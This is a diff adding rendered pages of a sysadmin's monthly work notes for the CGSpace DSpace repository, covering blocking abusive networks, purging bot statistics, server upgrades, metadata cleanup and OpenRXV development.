    • I think I need to re-work the ipset stuff in my common Ansible role so that I can add such abusive networks as an iptables ipset / nftables set, and have a cron job to update them daily (from Spamhaus’s DROP and EDROP lists, for example)
      • +
    +
    • +
  • Then I got a list of all the 5,095 IPs from above and used check-spider-ip-hits.sh to purge them from Solr:
    • +
+
$ ilri/check-spider-ip-hits.sh -f /tmp/all-ips-to-block.txt -p
+...
+Total number of bot hits purged: 197116
+
    +
  • I started a harvest on AReS and it finished in a few hours now that the load on CGSpace is back to a normal level
    • +
+

2021-07-20

+
    +
  • Looking again at the IPs making connections to CGSpace over the last few days from these seven ASNs, it’s much higher than I noticed yesterday:
    • +
+
$ csvgrep -c asn -r '^(49453|46844|206485|62282|36352|35913|35624)$' /tmp/out.csv | csvcut -c ip | sed 1d | sort | uniq | wc -l
+5643
+
    +
  • I purged 27,000 more hits from the Solr stats using this new list of IPs with my check-spider-ip-hits.sh script
    • +
  • Surprise surprise, I checked the nginx logs from 2021-06-23 when we last had issues with thousands of XMLUI sessions and PostgreSQL connections and I see IPs from the same ASNs!
    • +
+
$ sudo zcat --force /var/log/nginx/access.log.27.gz /var/log/nginx/access.log.28.gz | grep -E " (200|499) " | grep -v -E "(mahider|Googlebot|Turnitin|Grammarly|Unpaywall|UptimeRobot|bot)" | awk '{print $1}' | sort | uniq > /tmp/all-ips-june-23.txt
+$ ./ilri/resolve-addresses-geoip2.py -i /tmp/all-ips-june-23.txt -o /tmp/out.csv
+$ csvcut -c 2,4 /tmp/out.csv | sed 1d | sort | uniq -c | sort -n | tail -n 15
+    265 GOOGLE,15169
+    277 Silverstar Invest Limited,35624
+    280 FACEBOOK,32934
+    288 SAFARICOM-LIMITED,33771
+    399 AMAZON-AES,14618
+    427 MICROSOFT-CORP-MSN-AS-BLOCK,8075
+    455 Opera Software AS,39832
+    481 MTN NIGERIA Communication limited,29465
+    502 DEDIPATH-LLC,35913
+    506 AS-COLOCROSSING,36352
+    602 UAB Rakrejus,62282
+    822 ST-BGP,46844
+    874 Ethiopian Telecommunication Corporation,24757
+    912 UGB Hosting OU,206485
+   1607 Global Layer B.V.,49453
+
    +
  • Again it was over 5,000 IPs:
    • +
+
$ csvgrep -c asn -r '^(49453|46844|206485|62282|36352|35913|35624)$' /tmp/out.csv | csvcut -c ip | sed 1d | sort | uniq | wc -l         
+5228
+
    +
  • Interestingly, it seems these are five thousand different IP addresses than the attack from last weekend, as there are over 10,000 unique ones if I combine them!
    • +
+
$ cat /tmp/ips-june23.txt /tmp/ips-jul16.txt | sort | uniq | wc -l
+10458
+
    +
  • I purged all the (26,000) hits from these new IP addresses from Solr as well
    • +
  • Looking back at my notes for the 2019-05 attack I see that I had already identified most of these network providers (!)… +
      +
    • Also, I took a closer look at QuadraNet (AS8100) and found some association with ATOMOHOST LLC and finegroupservers.com and traffictransitsolution.us, so now I need to block/purge that ASN too!
      • +
    • I saw it on the Scamalytics 2021-06 list anyways, so at this point I have no doubt
      • +
    +
    • +
  • Adding QuadraNet brings the total networks seen during these two attacks to 262, and the number of unique IPs to 10900:
    • +
+
# zcat --force /var/log/nginx/access.log /var/log/nginx/access.log.1 /var/log/nginx/access.log.2 /var/log/nginx/access.log.3 /var/log/nginx/access.log.4 /var/log/nginx/access.log.5 /var/log/nginx/access.log.27.gz /var/log/nginx/access.log.28.gz | grep -E " (200|499) " | grep -v -E "(mahider|Googlebot|Turnitin|Grammarly|Unpaywall|UptimeRobot|bot)" | awk '{print $1}' | sort | uniq > /tmp/ddos-ips.txt
+# wc -l /tmp/ddos-ips.txt 
+54002 /tmp/ddos-ips.txt
+$ ./ilri/resolve-addresses-geoip2.py -i /tmp/ddos-ips.txt -o /tmp/ddos-ips.csv
+$ csvgrep -c asn -r '^(49453|46844|206485|62282|36352|35913|35624|8100)$' /tmp/ddos-ips.csv | csvcut -c ip | sed 1d | sort | uniq > /tmp/ddos-ips-to-purge.txt
+$ wc -l /tmp/ddos-ips-to-purge.txt
+10900 /tmp/ddos-ips-to-purge.txt
+$ csvgrep -c asn -r '^(49453|46844|206485|62282|36352|35913|35624|8100)$' /tmp/ddos-ips.csv | csvcut -c network | sed 1d | sort | uniq > /tmp/ddos-networks-to-block.txt
+$ wc -l /tmp/ddos-networks-to-block.txt
+262 /tmp/ddos-networks-to-block.txt
+
    +
  • The new total number of networks to block, including the network prefixes for these ASNs downloaded from asn.ipinfo.app, is 4,007:
    • +
+
$ wget https://asn.ipinfo.app/api/text/nginx/AS49453 \
+https://asn.ipinfo.app/api/text/nginx/AS46844 \
+https://asn.ipinfo.app/api/text/nginx/AS206485 \
+https://asn.ipinfo.app/api/text/nginx/AS62282 \
+https://asn.ipinfo.app/api/text/nginx/AS36352 \
+https://asn.ipinfo.app/api/text/nginx/AS35913 \
+https://asn.ipinfo.app/api/text/nginx/AS35624 \
+https://asn.ipinfo.app/api/text/nginx/AS8100
+$ cat AS* /tmp/ddos-networks-to-block.txt | sed -e '/^$/d' -e '/^#/d' -e '/^{/d' -e 's/deny //' -e 's/;//' | sort | uniq | wc -l
+4007
+
    +
  • I re-applied these networks to nginx on CGSpace (linode18) and DSpace Test (linode26), and purged 14,000 more Solr statistics hits from these IPs
    • +
+

2021-07-22

+
    +
  • Udana emailed to say that the link to the iwmi.csv export isn’t working +
      +
    • I looked and both the nginx config and systemd service unit were using invalid paths…
      • +
    • I’m not sure why it had been working for so long until now!
      • +
    +
    • +
  • Maria Garruccio asked if we can move the “Context” menu up to the top of the right-hand sidebar navigation menu +
      +
    • The last time we changed this was in 2020 (XMLUI’s Navigation.java), and I think it makes a lot of sense so I moved it up, under the account block:
      • +
    +
    • +
+

CGSpace XMLUI navigation

+

2021-07-23

+
    +
  • Spend some time reviewing patches for the upcoming DSpace 6.4 release
    • +
+

2021-07-24

+
    +
  • Spend some time reviewing patches for the upcoming DSpace 6.4 release
    • +
  • Run all system updates on DSpace Test (linode26) and reboot it
    • +
+

2021-07-29

+ + + + + + + +
+ + + +
+ + + + +
+
+ + + + + + + + + diff --git a/docs/2021-08/index.html b/docs/2021-08/index.html new file mode 100644 index 000000000..98dfe3185 --- /dev/null +++ b/docs/2021-08/index.html @@ -0,0 +1,660 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + August, 2021 | CGSpace Notes + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+
+ + + + +
+
+

CGSpace Notes

+

Documenting day-to-day work on the CGSpace repository.

+
+
+ + + + +
+
+
+ + + + +
+
+

August, 2021

+

+ + in + Notes + + +

+
+

2021-08-01

+
    +
  • Update Docker images on AReS server (linode20) and reboot the server:
    • +
+
# docker images | grep -v ^REPO | sed 's/ \+/:/g' | cut -d: -f1,2 | grep -v none | xargs -L1 docker pull
+
    +
  • I decided to upgrade linode20 from Ubuntu 18.04 to 20.04
    • +
+
    +
  • First running all existing updates, taking some backups, checking for broken packages, and then rebooting:
    • +
+
# apt update && apt dist-upgrade
+# apt autoremove && apt autoclean
+# check for any packages with residual configs we can purge
+# dpkg -l | grep -E '^rc' | awk '{print $2}'
+# dpkg -l | grep -E '^rc' | awk '{print $2}' | xargs dpkg -P
+# dpkg -C
+# dpkg -l > 2021-08-01-linode20-dpkg.txt
+# tar -I zstd -cvf 2021-08-01-etc.tar.zst /etc
+# reboot
+# sed -i 's/bionic/focal/' /etc/apt/sources.list.d/*.list
+# do-release-upgrade
+
    +
  • … but of course it hit the libxcrypt bug
    • +
  • I had to get a copy of libcrypt.so.1.1.0 from a working Ubuntu 20.04 system and finish the upgrade manually
    • +
+
# apt install -f
+# apt dist-upgrade
+# reboot
+
    +
  • After rebooting I purged all packages with residual configs and cleaned up again:
    • +
+
# dpkg -l | grep -E '^rc' | awk '{print $2}' | xargs dpkg -P
+# apt autoremove && apt autoclean
+
+

2021-08-02

+
    +
  • Help Udana with OAI validation on CGSpace + +
    • +
+

2021-08-03

+
    +
  • Run fresh re-harvest on AReS
    • +
+

2021-08-05

+
    +
  • Have a quick call with Mishell Portilla from CIP about a journal article that was flagged as being in a predatory journal (Beall’s List) +
      +
    • We agreed to unmap it from RTB’s collection for now, and I asked for advice from Peter and Abenet for what to do in the future
      • +
    +
    • +
  • A developer from the Alliance asked for access to the CGSpace database so they can make some integration with PowerBI +
      +
    • I told them we don’t allow direct database access, and that it would be tricky anyways (that’s what APIs are for!)
      • +
    +
    • +
  • I’m curious if there are still any requests coming in to CGSpace from the abusive Russian networks +
      +
    • I extracted all the unique IPs that nginx processed in the last week:
      • +
    +
    • +
+
# zcat --force /var/log/nginx/access.log /var/log/nginx/access.log.1 /var/log/nginx/access.log.2 /var/log/nginx/access.log.3 /var/log/nginx/access.log.4 /var/log/nginx/access.log.5 /var/log/nginx/access.log.6 /var/log/nginx/access.log.7 /var/log/nginx/access.log.8 | grep -E " (200|499) " | grep -v -E "(mahider|Googlebot|Turnitin|Grammarly|Unpaywall|UptimeRobot|bot)" | awk '{print $1}' | sort | uniq > /tmp/2021-08-05-all-ips.txt
+# wc -l /tmp/2021-08-05-all-ips.txt
+43428 /tmp/2021-08-05-all-ips.txt
+
    +
  • Already I can see that the total is much less than during the attack on one weekend last month (over 50,000!) +
      +
    • Indeed, now I see that there are no IPs from those networks coming in now:
      • +
    +
    • +
+
$ ./ilri/resolve-addresses-geoip2.py -i /tmp/2021-08-05-all-ips.txt -o /tmp/2021-08-05-all-ips.csv
+$ csvgrep -c asn -r '^(49453|46844|206485|62282|36352|35913|35624|8100)$' /tmp/2021-08-05-all-ips.csv | csvcut -c ip | sed 1d | sort | uniq > /tmp/2021-08-05-all-ips-to-purge.csv
+$ wc -l /tmp/2021-08-05-all-ips-to-purge.csv
+0 /tmp/2021-08-05-all-ips-to-purge.csv
+

2021-08-08

+
    +
  • Advise IWMI colleagues on best practices for thumbnails
    • +
  • Add a handful of mappings for incorrect countries, regions, and licenses on AReS and start a new harvest +
      +
    • I sent a message to Jacquie from WorldFish to ask if I can help her clean up the incorrect countries and regions in their repository, for example:
      • +
    • WorldFish countries: Aegean, Euboea, Caribbean Sea, Caspian Sea, Chilwa Lake, Imo River, Indian Ocean, Indo-pacific
      • +
    • WorldFish regions: Black Sea, Arabian Sea, Caribbean Sea, California Gulf, Mediterranean Sea, North Sea, Red Sea
      • +
    +
    • +
  • Looking at the July Solr statistics to find the top IP and user agents, looking for anything strange +
      +
    • 35.174.144.154 made 11,000 requests last month with the following user agent:
      • +
    +
    • +
+
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.97 Safari/537.36
+
    +
  • That IP is on Amazon, and from looking at the DSpace logs I don’t see them logging in at all, only scraping… so I will purge hits from that IP
    • +
  • I see 93.158.90.30 is some Swedish IP that also has a normal-looking user agent, but never logs in and requests thousands of XMLUI pages, I will purge their hits too +
      +
    • Same deal with 130.255.162.173, which is also in Sweden and makes requests every five seconds or so
      • +
    • Same deal with 93.158.90.91, also in Sweden
      • +
    +
    • +
  • 3.225.28.105 uses a normal-looking user agent but makes thousands of request to the REST API a few seconds apart
    • +
  • 61.143.40.50 is in China and uses this hilarious user agent:
    • +
+
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.{random.randint(0, 9999)} Safari/537.{random.randint(0, 99)}"
+
    +
  • 47.252.80.214 is owned by Alibaba in the US and has the same user agent
    • +
  • 159.138.131.15 is in Hong Kong and also seems to be a bot because I never see it log in and it downloads 4,300 PDFs over the course of a few hours
    • +
  • 95.87.154.12 seems to be a new bot with the following user agent:
    • +
+
Mozilla/5.0 (compatible; MaCoCu; +https://www.clarin.si/info/macocu-massive-collection-and-curation-of-monolingual-and-bilingual-data/
+
    +
  • They have a legitimate EU-funded project to enrich data for under-resourced languages in the EU +
      +
    • I will purge the hits and add them to our list of bot overrides in the mean time before I submit it to COUNTER-Robots
      • +
    +
    • +
  • I see a new bot using this user agent:
    • +
+
nettle (+https://www.nettle.sk)
+
    +
  • 129.0.211.251 is in Cameroon and uses a normal-looking user agent, but seems to be a bot of some sort, as it downloaded 900 PDFs over a short period.
    • +
  • 217.182.21.193 is on OVH in France and uses a Linux user agent, but never logs in and makes several requests per minute, over 1,000 in a day
    • +
  • 103.135.104.139 is in Hong Kong and also seems to be making real requests, but makes way too many to be a human
    • +
  • There are probably more but that’s most of them over 1,000 hits last month, so I will purge them:
    • +
+
$ ./ilri/check-spider-ip-hits.sh -f /tmp/ips.txt -p
+Purging 10796 hits from 35.174.144.154 in statistics
+Purging 9993 hits from 93.158.90.30 in statistics
+Purging 6092 hits from 130.255.162.173 in statistics
+Purging 24863 hits from 3.225.28.105 in statistics
+Purging 2988 hits from 93.158.90.91 in statistics
+Purging 2497 hits from 61.143.40.50 in statistics
+Purging 13866 hits from 159.138.131.15 in statistics
+Purging 2721 hits from 95.87.154.12 in statistics
+Purging 2786 hits from 47.252.80.214 in statistics
+Purging 1485 hits from 129.0.211.251 in statistics
+Purging 8952 hits from 217.182.21.193 in statistics
+Purging 3446 hits from 103.135.104.139 in statistics
+
+Total number of bot hits purged: 90485
+
    +
  • Then I purged a few thousand more by user agent:
    • +
+
$ ./ilri/check-spider-hits.sh -f dspace/config/spiders/agents/ilri 
+Found 2707 hits from MaCoCu in statistics
+Found 1785 hits from nettle in statistics
+
+Total number of hits from bots: 4492
+
    +
  • I found some CGSpace metadata in the wrong fields +
      +
    • Seven metadata in dc.subject (57) should be in dcterms.subject (187)
      • +
    • Twelve metadata in cg.title.journal (202) should be in cg.journal (251)
      • +
    • Three dc.identifier.isbn (20) should be in cg.isbn (252)
      • +
    • Three dc.identifier.issn (21) should be in cg.issn (253)
      • +
    • I re-ran the migrate-fields.sh script on CGSpace
      • +
    +
    • +
  • I exported the entire CGSpace repository as a CSV to do some work on ISSNs and ISBNs:
    • +
+
$ csvcut -c 'id,cg.issn,cg.issn[],cg.issn[en],cg.issn[en_US],cg.isbn,cg.isbn[],cg.isbn[en_US]' /tmp/2021-08-08-cgspace.csv > /tmp/2021-08-08-issn-isbn.csv
+
    +
  • Then in OpenRefine I merged all null, blank, and en fields into the en_US one for each, removed all spaces, fixed invalid multi-value separators, removed everything other than ISSN/ISBNs themselves +
      +
    • In total it was a few thousand metadata entries or so so I had to split the CSV with xsv split in order to process it
      • +
    • I was reminded again how DSpace 6 is very fucking slow when it comes to any database-related operations, as it takes over an hour to process 200 metadata changes…
      • +
    • In total it was 1,195 changes to ISSN and ISBN metadata fields
      • +
    +
    • +
+

2021-08-09

+
    +
  • Extract all unique ISSNs to look up on Sherpa Romeo and Crossref
    • +
+
$ csvcut -c 'cg.issn[en_US]' ~/Downloads/2021-08-08-CGSpace-ISBN-ISSN.csv | csvgrep -c 1 -r '^[0-9]{4}' | sed 1d | sort | uniq > /tmp/2021-08-09-issns.txt
+$ ./ilri/sherpa-issn-lookup.py -a mehhhhhhhhhhhhh -i /tmp/2021-08-09-issns.txt -o /tmp/2021-08-09-journals-sherpa-romeo.csv
+$ ./ilri/crossref-issn-lookup.py -e me@cgiar.org -i /tmp/2021-08-09-issns.txt -o /tmp/2021-08-09-journals-crossref.csv
+
    +
  • Then I updated the CSV headers for each and joined the CSVs on the issn column:
    • +
+
$ sed -i '1s/journal title/sherpa romeo journal title/' /tmp/2021-08-09-journals-sherpa-romeo.csv
+$ sed -i '1s/journal title/crossref journal title/' /tmp/2021-08-09-journals-crossref.csv
+$ csvjoin -c issn /tmp/2021-08-09-journals-sherpa-romeo.csv /tmp/2021-08-09-journals-crossref.csv > /tmp/2021-08-09-journals-all.csv
+
    +
  • In OpenRefine I faceted by blank in each column and copied the values from the other, then created a new column to indicate whether the values were the same with this GREL:
    • +
+
if(cells['sherpa romeo journal title'].value == cells['crossref journal title'].value,"same","different")
+
    +
  • Then I exported the list of journals that differ and sent it to Peter for comments and corrections +
      +
    • I want to build an updated controlled vocabulary so I can update CGSpace and reconcile our existing metadata against it
      • +
    +
    • +
  • Convert my generate-thumbnails.py script to use libvips instead of Graphicsmagick +
      +
    • It is faster and uses less memory than GraphicsMagick (and ImageMagick), and produces nice thumbnails from PDFs
      • +
    • One drawback is that libvips uses Poppler instead of Graphicsmagick, which apparently means that it can’t work in CMYK
      • +
    • I tested one item (10568/51999) that uses CMYK and the thumbnail looked OK (closer to the original than GraphicsMagick), so I’m not sure…
      • +
    • Perhaps this is not a problem after all, see this PR from 2019: https://github.com/libvips/libvips/pull/1196
      • +
    +
    • +
  • I did some tests of the memory used and time elapsed with libvips, GraphicsMagick, and ImageMagick:
    • +
+
$ /usr/bin/time -f %M:%e vipsthumbnail IPCC.pdf -s 600 -o '%s-vips.jpg[Q=85,optimize_coding,strip]'
+39004:0.08
+$ /usr/bin/time -f %M:%e gm convert IPCC.pdf\[0\] -quality 85 -thumbnail x600 -flatten IPCC-gm.jpg 
+40932:0.53
+$ /usr/bin/time -f %M:%e convert IPCC.pdf\[0\] -flatten -profile /usr/share/ghostscript/9.54.0/iccprofiles/default_cmyk.icc -profile /usr/share/ghostscript/9.54.0/iccprofiles/default_rgb.icc /tmp/impdfthumb2862933674765647409.pdf.jpg
+41724:0.59
+$ /usr/bin/time -f %M:%e convert -auto-orient /tmp/impdfthumb2862933674765647409.pdf.jpg -quality 85 -thumbnail 600x600 IPCC-im.jpg
+24736:0.04
+
+

2021-08-11

+
    +
  • Peter got back to me about the journal title cleanup +
      +
    • From his corrections it seems an overwhelming majority of his choices match the Sherpa Romeo version of the titles rather than Crossref’s
      • +
    • Anyways, I exported the originals that were the same in Sherpa Romeo and Crossref as well as Peter’s selections for where Sherpa Romeo and Crossref differred:
      • +
    +
    • +
+
$ csvcut -c cgspace ~/Downloads/2021-08-09-CGSpace-Journals-PB.csv | sort -u | sed 1d > /tmp/journals1.txt
+$ csvcut -c 'sherpa romeo journal title' ~/Downloads/2021-08-09-CGSpace-Journals-All.csv | sort -u | sed 1d > /tmp/journals2.txt
+$ cat /tmp/journals1.txt /tmp/journals2.txt | sort -u | wc -l
+1911
+
    +
  • Now I will create a controlled vocabulary out of this list and reconcile our existing journal title metadata with it in OpenRefine
    • +
  • I exported a list of all the journal titles we have in the cg.journal field:
    • +
+
localhost/dspace63= > \COPY (SELECT DISTINCT(text_value) AS "cg.journal" FROM metadatavalue WHERE dspace_object_id in (SELECT dspace_object_id FROM item) AND metadata_field_id IN (251)) to /tmp/2021-08-11-journals.csv WITH CSV;
+COPY 3245
+
    +
  • I started looking at reconciling them with reconcile-csv in OpenRefine, but ouch, there are 1,600 journal titles that don’t match, so I’d have to go check many of them manually before selecting a match or fixing them… +
      +
    • I think it’s better if I try to write a Python script to fetch the ISSNs for each journal article and update them that way
      • +
    • Or instead of doing it via SQL I could use CSV and parse the values there…
      • +
    +
    • +
  • A few more issues: +
      +
    • Some ISSNs are non-existent in Sherpa Romeo and Crossref, but appear on issn.org’s web search (their API is invite only)
      • +
    • Some titles are different across all three datasets, for example ISSN 0003-1305: + +
      • +
    +
    • +
  • I also realized that our previous controlled vocabulary came from CGSpace’s top 500 journals, so when I replaced it with the generated list earlier today we lost some journals +
      +
    • Now I went back and merged the previous with the new, and manually removed duplicates (sigh)
      • +
    • I requested access to the issn.org OAI-PMH API so I can use their registry…
      • +
    +
    • +
+

2021-08-12

+
    +
  • I sent an email to Sherpa Romeo’s help contact to ask about missing ISSNs +
      +
    • They pointed me to their inclusion criteria and said that missing journals should submit their open access policies to be included
      • +
    +
    • +
  • The contact from issn.org got back to me and said I should pay 1,000/year EUR for 100,000 requests to their API… no thanks
    • +
  • Submit a pull request to COUNTER-Robots for the httpx bot (#45) +
      +
    • In the mean time I added it to our local ILRI overrides
      • +
    +
    • +
+

2021-08-15

+
    +
  • Start a fresh reindex on AReS
    • +
+

2021-08-16

+
    +
  • Meeting with Abenet and Peter about CGSpace actions and future +
      +
    • We agreed to move three top-level Feed the Future projects into one community, so I created one and moved them:
      • +
    +
    • +
+
$ dspace community-filiator --set --parent=10568/114644 --child=10568/72600
+$ dspace community-filiator --set --parent=10568/114644 --child=10568/35730
+$ dspace community-filiator --set --parent=10568/114644 --child=10568/76451
+
    +
  • I made a minor fix to OpenRXV to prefix all image names with docker.io so it works with less changes on podman +
      +
    • Docker assumes the docker.io registry by default, but we should be explicit
      • +
    +
    • +
+

2021-08-17

+
    +
  • I made an initial attempt on the policy statements page on DSpace Test +
      +
    • It is modeled on Sherpa Romeo’s OpenDOAR policy statements advice
      • +
    +
    • +
  • Sit with Moayad and discuss the future of AReS +
      +
    • We specifically discussed formalizing the API and documenting its use to allow as an alternative to harvesting directly from CGSpace
      • +
    • We also discussed allowing linking to search results to enable something like “Explore this collection” links on CGSpace collection pages
      • +
    +
    • +
  • Lower case all AGROVOC metadata, as I had noticed a few in sentence case:
    • +
+
dspace=# UPDATE metadatavalue SET text_value=LOWER(text_value) WHERE dspace_object_id IN (SELECT uuid FROM item) AND metadata_field_id=187 AND text_value ~ '[[:upper:]]';
+UPDATE 484
+
    +
  • Also update some DOIs using the dx.doi.org format, just to keep things uniform:
    • +
+
dspace=# UPDATE metadatavalue SET text_value = regexp_replace(text_value, 'https://dx.doi.org', 'https://doi.org') WHERE dspace_object_id IN (SELECT uuid FROM item) AND metadata_field_id = 220 AND text_value LIKE 'https://dx.doi.org%';
+UPDATE 469
+
    +
  • Then start a full Discovery re-indexing to update the Feed the Future community item counts that have been stuck at 0 since we moved the three projects to be a subcommunity a few days ago:
    • +
+
$ time chrt -b 0 ionice -c2 -n7 nice -n19 dspace index-discovery -b
+
+real    322m16.917s
+user    226m43.121s
+sys     3m17.469s
+
    +
  • I learned how to use the OpenRXV API, which is just a thin wrapper around Elasticsearch:
    • +
+
$ curl -X POST 'https://cgspace.cgiar.org/explorer/api/search?scroll=1d' \
+    -H 'Content-Type: application/json' \
+    -d '{
+    "size": 10,
+    "query": {
+        "bool": {
+            "filter": {
+                "term": {
+                    "repo.keyword": "CGSpace"
+                }
+            }
+        }
+    }
+}'
+$ curl -X POST 'https://cgspace.cgiar.org/explorer/api/search/scroll/DXF1ZXJ5QW5kRmV0Y2gBAAAAAAAASekWMTRwZ3lEMkVRYUtKZjgyMno4dV9CUQ=='
+
    +
  • This uses the Elasticsearch scroll ID to page through results +
      +
    • The second query doesn’t need the request body because it is saved for 1 day as part of the first request
      • +
    +
    • +
  • Attempt to re-do my tests with VisualVM from 2019-04 +
      +
    • I found that I can’t connect to the Tomcat JMX port using SSH forwarding (visualvm gives an error about localhost already being monitored)
      • +
    • Instead, I had to create a SOCKS proxy with SSH (ssh -D 8096), then set that up as a proxy in the VisualVM network settings, and then add the JMX connection
      • +
    • See: https://dzone.com/articles/visualvm-monitoring-remote-jvm
      • +
    • I have to spend more time on this…
      • +
    +
    • +
  • I fixed a bug in the Altmetric donuts on OpenRXV + +
    • +
  • I improved the quality of the “no thumbnail” placeholder image on AReS: https://github.com/ilri/OpenRXV/pull/114
    • +
  • I sent some feedback to some ILRI and CCAFS colleagues about how to use better thumbnails for publications
    • +
+

2021-08-24

+
    +
  • In the last few days I did a lot of work on OpenRXV +
      +
    • I started exploring the Angular 9.0 to 9.1 update
      • +
    • I tested some updates to dependencies for Angular 9 that we somehow missed, like @tinymce/tinymce-angular, @nicky-lenaers/ngx-scroll-to, and @ng-select/ng-select
      • +
    • I changed the default target from ES5 to ES2015 because ES5 was released in 2009 and the only thing we lose by moving to ES2015 is IE11 support
      • +
    • I fixed a handful of issues in the Docker build and deployment process
      • +
    • I started exploring changing the Docker configuration from using volumes to COPY instructions in the Dockerfile because we are having sporadic issues with permissions in containers caused by copying the host’s frontend/backend directories and not being able to write to them
      • +
    • I tested moving from node-sass to sass, as it has been supported since Angular 8 apparently and will allow us to avoid stupid node-gyp issues
      • +
    +
    • +
+

2021-08-25

+
    +
  • I did a bunch of tests of the OpenRXV Angular 9.1 update and merged it to master (#115)
    • +
  • Last week Maria Garruccio sent me a handful of new ORCID identifiers for Bioversity staff +
      +
    • We currently have 1320 unique identifiers, so this adds eleven new ones:
      • +
    +
    • +
+
$ cat ~/src/git/DSpace/dspace/config/controlled-vocabularies/cg-creator-identifier.xml /tmp/bioversity-orcids.txt | grep -oE '[A-Z0-9]{4}-[A-Z0-9]{4}-[A-Z0-9]{4}-[A-Z0-9]{4}' | sort | uniq > /tmp/2021-08-25-combined-orcids.txt
+$ wc -l /tmp/2021-08-25-combined-orcids.txt
+1331
+
    +
  • After I combined them and removed duplicates, I resolved all the names using my resolve-orcids.py script:
    • +
+
$ ./ilri/resolve-orcids.py -i /tmp/2021-08-25-combined-orcids.txt -o /tmp/2021-08-25-combined-orcids-names.txt
+
    +
  • Tag existing items from the Alliance’s new authors with ORCID iDs using add-orcid-identifiers-csv.py (181 new metadata fields added):
    • +
+
$ cat 2021-08-25-add-orcids.csv 
+dc.contributor.author,cg.creator.identifier
+"Chege, Christine G. Kiria","Christine G.Kiria Chege: 0000-0001-8360-0279"
+"Chege, Christine Kiria","Christine G.Kiria Chege: 0000-0001-8360-0279"
+"Kiria, C.","Christine G.Kiria Chege: 0000-0001-8360-0279"
+"Kinyua, Ivy","Ivy Kinyua :0000-0002-1978-8833"
+"Rahn, E.","Eric Rahn: 0000-0001-6280-7430"
+"Rahn, Eric","Eric Rahn: 0000-0001-6280-7430"
+"Jager M.","Matthias Jager: 0000-0003-1059-3949"
+"Jager, M.","Matthias Jager: 0000-0003-1059-3949"
+"Jager, Matthias","Matthias Jager: 0000-0003-1059-3949"
+"Waswa, Boaz","Boaz Waswa: 0000-0002-0066-0215"
+"Waswa, Boaz S.","Boaz Waswa: 0000-0002-0066-0215"
+"Rivera, Tatiana","Tatiana Rivera: 0000-0003-4876-5873"
+"Andrade, Robert","Robert Andrade: 0000-0002-5764-3854"
+"Ceccarelli, Viviana","Viviana Ceccarelli: 0000-0003-2160-9483"
+"Ceccarellia, Viviana","Viviana Ceccarelli: 0000-0003-2160-9483"
+"Nyawira, Sylvia","Sylvia Sarah Nyawira: 0000-0003-4913-1389"
+"Nyawira, Sylvia S.","Sylvia Sarah Nyawira: 0000-0003-4913-1389"
+"Nyawira, Sylvia Sarah","Sylvia Sarah Nyawira: 0000-0003-4913-1389"
+"Groot, J.C.","Groot, J.C.J.: 0000-0001-6516-5170"
+"Groot, J.C.J.","Groot, J.C.J.: 0000-0001-6516-5170"
+"Groot, Jeroen C.J.","Groot, J.C.J.: 0000-0001-6516-5170"
+"Groot, Jeroen CJ","Groot, J.C.J.: 0000-0001-6516-5170"
+"Abera, W.","Wuletawu Abera: 0000-0002-3657-5223"
+"Abera, Wuletawu","Wuletawu Abera: 0000-0002-3657-5223"
+"Kanyenga Lubobo, Antoine","Antoine Lubobo Kanyenga: 0000-0003-0806-9304"
+"Lubobo Antoine, Kanyenga","Antoine Lubobo Kanyenga: 0000-0003-0806-9304" 
+$ ./ilri/add-orcid-identifiers-csv.py -i 2021-08-25-add-orcids.csv -db dspace -u dspace -p 'fuuu'
+

2021-08-29

+
    +
  • Run a full harvest on AReS
    • +
  • Also do more work the past few days on OpenRXV +
      +
    • I switched the backend target from ES2017 to ES2019
      • +
    • I did a proof of concept with multi-stage builds and simplifying the Docker configuration
      • +
    +
    • +
  • Update the list of ORCID identifiers on CGSpace
    • +
  • Run system updates and reboot CGSpace (linode18)
    • +
+

2021-08-31

+
    +
  • Yesterday I finished the work to make OpenRXV use a new multi-stage Docker build system and use smarter COPY instructions instead of runtime volumes +
      +
    • Today I merged the changes to the master branch and re-deployed AReS on linode20
      • +
    • Because the docker-compose.yml moved to the root the Docker volume prefix changed from docker_ to openrxv_ so I had to stop the containers and rsync the data from the old volume to the new one in /var/lib/docker
      • +
    +
    • +
+ + + + + + +
+ + + +
+ + + + +
+
+ + + + + + + + + diff --git a/docs/2021-09/index.html b/docs/2021-09/index.html new file mode 100644 index 000000000..145345f55 --- /dev/null +++ b/docs/2021-09/index.html @@ -0,0 +1,642 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + September, 2021 | CGSpace Notes + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+
+ + + + +
+
+

CGSpace Notes

+

Documenting day-to-day work on the CGSpace repository.

+
+
+ + + + +
+
+
+ + + + +
+
+

September, 2021

+

+ + in + Notes + + +

+
+

2021-09-02

+
    +
  • Troubleshooting the missing Altmetric scores on AReS +
      +
    • Turns out that I didn’t actually fix them last month because the check for content.altmetric still exists, and I can’t access the DOIs using _h.source.DOI for some reason
      • +
    • I can access all other kinds of item metadata using the Elasticsearch label, but not DOI!!!
      • +
    • I will change DOI to tomato in the repository setup and start a re-harvest… I need to see if this is some kind of reserved word or something…
      • +
    • Even as tomato I can’t access that field as _h.source.tomato in Angular, but it does work as a filter source… sigh
      • +
    +
    • +
  • I’m having problems using the OpenRXV API +
      +
    • The syntax Moayad showed me last month doesn’t seem to honor the search query properly…
      • +
    +
    • +
+

2021-09-05

+
    +
  • Update Docker images on AReS server (linode20) and rebuild OpenRXV:
    • +
+
$ docker images | grep -v ^REPO | sed 's/ \+/:/g' | cut -d: -f1,2 | xargs -L1 docker pull
+$ docker-compose build
+
    +
  • Then run system updates and reboot the server +
      +
    • After the system came back up I started a fresh re-harvesting
      • +
    +
    • +
+

2021-09-07

+
    +
  • Checking last month’s Solr statistics to see if there are any new bots that I need to purge and add to the list +
      +
    • 78.203.225.68 made 50,000 requests on one day in August, and it is using this user agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.66 Safari/537.36
      • +
    • It’s a fixed line ISP in Montpellier according to AbuseIPDB.com, and has not been flagged as abusive, so it must be some CGIAR SMO person doing some web application harvesting from the browser
      • +
